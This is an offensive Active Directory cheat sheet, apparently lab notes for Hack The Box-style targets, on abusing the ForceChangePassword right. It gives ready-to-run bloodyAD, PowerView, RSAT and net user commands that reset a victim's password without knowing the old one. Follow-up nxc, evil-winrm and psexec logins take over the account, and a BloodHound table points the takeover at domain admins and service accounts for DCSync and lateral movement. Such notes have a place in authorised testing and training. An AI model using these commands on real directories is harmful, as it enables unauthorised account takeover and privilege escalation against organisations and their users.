ForceChangePassword — AD Permission Abuse
Ctrl+F:
ForceChangePassword·User-Force-Change-Password·set password
ForceChangePassword (User-Force-Change-Password extended right) lets you reset another user’s password without knowing the current one.
Owned User
│
ForceChangePassword
▼
Target UserYour first thought:
“Reset their password → authenticate as them → inherit their access.”
Not the same as NT_STATUS_PASSWORD_MUST_CHANGE — that means your own account must change password before logon → Change password AD - NT_STATUS_PASSWORD_MUST_CHANGE
📌 BloodHound target → action
| Target | Action |
|---|---|
| Privileged user (DA, svc admin) | Reset password → shell / DCSync path as that user |
| Service account | Reset → Kerberos / SPN abuse as svc |
| Any user | Password spray alternative — become user for lateral |
📌 Execute — Linux (bloodyAD)
Full command reference → bloodyAD > 📌 4) set — Modify Attributes
bloodyAD -H DC_IP -d domain.htb -u user -p 'PASS' set password victim 'NewPassword123!'Then authenticate:
nxc smb DC_IP -u victim -p 'NewPassword123!'
evil-winrm -i TARGET -u victim -p 'NewPassword123!'
impacket-psexec domain.htb/victim:'NewPassword123!'@TARGET📌 Execute — Windows (PowerView / RSAT)
→ PowerView > 📌 5) ACL / Permission Abuse · Active Directory Cmdlets > 📌 7) Write / Modify Cmdlets (Needs Privileges)
Import-Module .\PowerView.ps1
Set-DomainUserPassword -Identity victim -AccountPassword (ConvertTo-SecureString 'NewPass123!' -AsPlainText -Force)
# RSAT alternative
Set-ADAccountPassword -Identity victim -Reset -NewPassword (ConvertTo-SecureString 'NewPass123!' -AsPlainText -Force)net user victim NewPass123! /domain📌 Related rights
| Right | Relationship |
|---|---|
| AllExtendedRights | Superset — includes ForceChangePassword + other extended rights |
| GenericAll | Full control — can also reset password (and more) |
| GenericWrite | Usually cannot reset password alone — different path |
External: Hacker Recipes — ForceChangePassword
📌 Quick cheat sheet
bloodyAD -H DC_IP -d domain.htb -u user -p 'PASS' set password victim 'NewPass123!'
nxc smb DC_IP -u victim -p 'NewPass123!'Set-DomainUserPassword -Identity victim -AccountPassword (ConvertTo-SecureString 'NewPass123!' -AsPlainText -Force)